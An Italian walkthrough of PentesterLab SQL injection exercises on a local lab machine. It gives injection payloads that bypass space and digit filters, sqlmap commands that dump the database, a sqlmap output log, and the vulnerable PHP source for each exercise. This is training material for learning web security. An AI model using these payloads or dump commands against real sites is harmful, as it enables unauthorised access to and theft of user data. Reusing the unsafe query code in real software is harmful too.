In più articoli abbiamo affrontato attacchi di SQL Injection, sia per quanto riguarda la teoria, sia per quanto riguarda la pratica. PentesterLab offre alcuni esercizi, soprattutto per capire le basi dell’attacco e su come violare dispositivi con basilari sistemi di filtraggio. Proprio per questo motivo ho deciso di inserire anche i comandi da utilizzare con SQLmap, in modo da avere anche conoscenza sull’utilizzo del tool in questione.
http://192.168.56.101/sqli/example1.php?name=root
Classica GET, in cui vengono stampati i dati dell’utente root. Visto che molto probabilmente esistono altri utenti, vado ad inserire la stringa solitamente utilizzata per il test di questo attacco.
http://192.168.56.101/sqli/example1.php?name=root' or '1'='1
Con sqlmap il comando è pressoché immediato
sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs
In questo modo ricevo le informazioni sul database utilizzato dall’applicazione e le relative tabelle. Se volessi avere anche le informazioni degli utenti (nomi, password e tutti gli altri dati),
sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs --dump
Il codice della pagina vulnerabile è
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php
.
..</span>
</span><span class="line"> <span class="o">...</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">...</span>
..
.
</span><span class="line"><span class="cp">?></span></span></code>
Come si può notare non c’è nessuna validazione dell’input, la richiesta viene eseguita senza nessun filtraggio e MySQL eseguirà la query
<code class="php"><span class="line"><span class="s2">SELECT * FROM users where name='</span></span></code>root' or '1'='1';
la quale risulta sempre vera.
Nel secondo esempio non sono accettati spazi, di conseguenza la stringa inserita prima non funziona. Senza tanti giri, proviamo a rimuoverli ed eseguire la query senza spazi
http://192.168.56.101/sqli/example2.php?name=root'or'1'='1
Sqlmap ci viene incontro con l'opzione tamper (altri esempi si possono trovare qui), in particolar modo space2comment.
sqlmap --banner -u http://192.168.56.101/sqli/example2.php?name=root --tamper=space2comment --dbs
Il codice dell’esempio è
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> .
..
...
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/ /'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR NO SPACE"</span><span class="p">);</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
</span>
<span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">...
..
.</span>
</span><span class="line"><span class="cp">?></span></span></code>
Ora è stato aggiunto un controllo sugli spazi, ma come abbiamo visto è facilmente aggirabile.
Molto simile a quello di prima, stavolta per aggirare il blocco inserisco commenti fasulli in PHP, che vengono categoricamente ignorati.
http://192.168.56.101/sqli/example3.php?name=root'/**/or/**/'1'='1
Il comando sqlmap è lo stesso di prima, mentre il codice è ora
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> .
..
...
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/\s+/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR NO SPACE"</span><span class="p">);</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where name='"</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"name"</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">;</span>
</span>
<span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">...
..
- </span>
</span><span class="line"><span class="cp">?>
</span></span></code>
Come si può leggere dal manuale di PHP, \s+ controlla se ci sono uno o più spazi.
La richiesta è ora riferita ad un campo numerico, per cui le modalità di attacco cambiano, non essendoci necessità di un apice. Provo con lo stesso attacco del primo esempio, senza però inserire apici.
http://192.168.56.101/sqli/example4.php?id=2 or 1=1
Senza tanti preamboli, anche sqlmap trova con poche richieste la vulnerabiità
mrtouch@mrtouch:~$ sqlmap --banner -u http://192.168.56.101/sqli/example4.php?id=2
[21:56:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (3588=3588) THEN 3588 ELSE 3588*(SELECT 3588 FROM INFORMATION_SCHEMA.PLUGINS) END))
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x71706a7671,0x5a5663556b52634a595659507a695745444c4756785469676e5a786b4e6a5343464d735470704451,0x7176627671),NULL,NULL-- ocZx
---
[21:56:30] [INFO] the back-end DBMS is MySQL
[21:56:30] [INFO] fetching banner
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
banner: '5.1.66-0+squeeze1'
Il codice è
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> <span class="o">.
..
</span> <span class="o">...</span>
</span><span class="line"> <span class="nv">$sql</span><span class="o">=</span><span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span><span class="o">.=</span><span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">])</span><span class="o">.</span><span class="s2">" "</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">...
</span> <span class="o">..
.</span>
</span><span class="line"><span class="cp">?></span></span></code>
Il programmatore ha utilizzato il filtraggio mysql_real_escape_string, ma inutilmente, visto che non ci sono apici. Nelle ultime versioni di PHP (>7.0) la funzione è deprecata.
Sembra che non sia cambiato nulla, e funziona lo stesso attacco di prima
Il codice è però diverso, viene inserito un controllo sui caratteri inseriti nella GET. Se non sono numeri, viene restituito errore, ma poco importa, visto che non la richiesta non viene comunque filtrata.
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> <span class="o">.
..
</span><span class="o">...</span>
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^[0-9]+/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]</span> <span class="p">;</span>
</span>
<span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">...
</span> <span class="o">..
.</span>
</span><span class="line"><span class="cp">?></span></span></code>
Funziona nuovamente la stessa stringa di prima.
Questa volta sqlmap non riesce ad identificare il pattern, nemmeno se aumento il rischio (–risk 3) o il livello (–level 5). Nel caso abbiate la soluzione, contattatemi e provvederò ad aggiungere il comando!
Il codice è
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
.
..
...</span>
<span class="line"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/[0-9]+$/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]</span> <span class="p">;</span>
</span>
<span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
?></span></code>
Finalmente il codice di prima non funziona più, sembra anzi che il codice sia inattaccabile, visto che non accetta spazi, commenti o stringhe al di fuori di soli numeri,
Visto questo blocco, andiamo ad inserire la stringa Linefeed, molto simile al carattere newline.
http://192.168.56.101/sqli/example7.php?id=2%0aor%0a1=1
Per riuscire a trovare la vulnerabilità con sqlmap dobbiamo inserire anche la stringa LF, in modo da definire il pattern di attacco (seguito dal carattere * per specificare dove attaccare)
sqlmap -u "http://192.168.56.101/sqli/example7.php?id=2%0a*" --dbs --dump
Il codice era codi definito
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> <span class="o">.
..
</span> <span class="o">...</span>
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^-?[0-9]+$/m'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR INTEGER REQUIRED"</span><span class="p">);</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users where id="</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"id"</span><span class="p">];</span>
</span>
<span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line"> <span class="o">.
..
</span> <span class="o">...</span>
</span><span class="line"><span class="cp">?>
</span></span></code>
Questo esempio passa decisavamente ad un livello superiore, nel quale bisogna conoscere la diverse tecniche di SQLInjection.
Sebbene le informazioni siano già stampate, l’esercizio vuole far capire come funziona un attacco Time Based SQLInjection, più raro da trovare ma sempre efficace.
La stringa che invio al server è cosi definita
http://192.168.56.101/sqli/example8.php?order=id`,(select sleep(0))--+
la quale formalmente non fa nulla, se non dormire per 0 secondi (tempo che possiamo definire noi). Alcuni paper sull’argomento possono essere trovati qui e qui.
Il comando passato a sqlmap è decisamente più semplice, basta aggiungere un apice (codificato) direttamente nella richiesta
sqlmap -u "http://192.168.56.101/sqli/example8.php?order=id%60" --dump
Il codice era
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"><span class="p"> .
..
...</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users ORDER BY `"</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"order"</span><span class="p">])</span><span class="o">.</span><span class="s2">"`"</span><span class="p">;
</span>
</span><span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);
...
..
.
?></span>
</span></code>
In questo esempio ho trovato una semplice vulnerabilità su order by, nella quale si può ordinare a proprio piacimento i dati inserendo un IF
http://192.168.56.101/sqli/example9.php?order=if
Sqlmap trova la vulnerabilità senza nessun opzione aggiuntiva, mentre il codice dell’applicazione era
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"><span class="p"> .
..
...</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT * FROM users ORDER BY "</span><span class="p">;</span>
</span><span class="line"> <span class="nv">$sql</span> <span class="o">.=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"order"</span><span class="p">]);</span>
</span><span class="line"> <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span></code> . .. ... ?>
Ammetto di esser rimasto un pò deluso, mi aspettavo qualche form o attacchi più specifici, ma probabilmente è stato pensato proprio per chi non ha mai visto attacchi SQL Injection e di conseguenza per comprendere il codice insicuro in modo ottimale. Per chi fosse interessato, a questa pagina è presente un mini guida di sqlmap, mentre una cheat sheet per l’attacco SQL Injection si può trovare qui.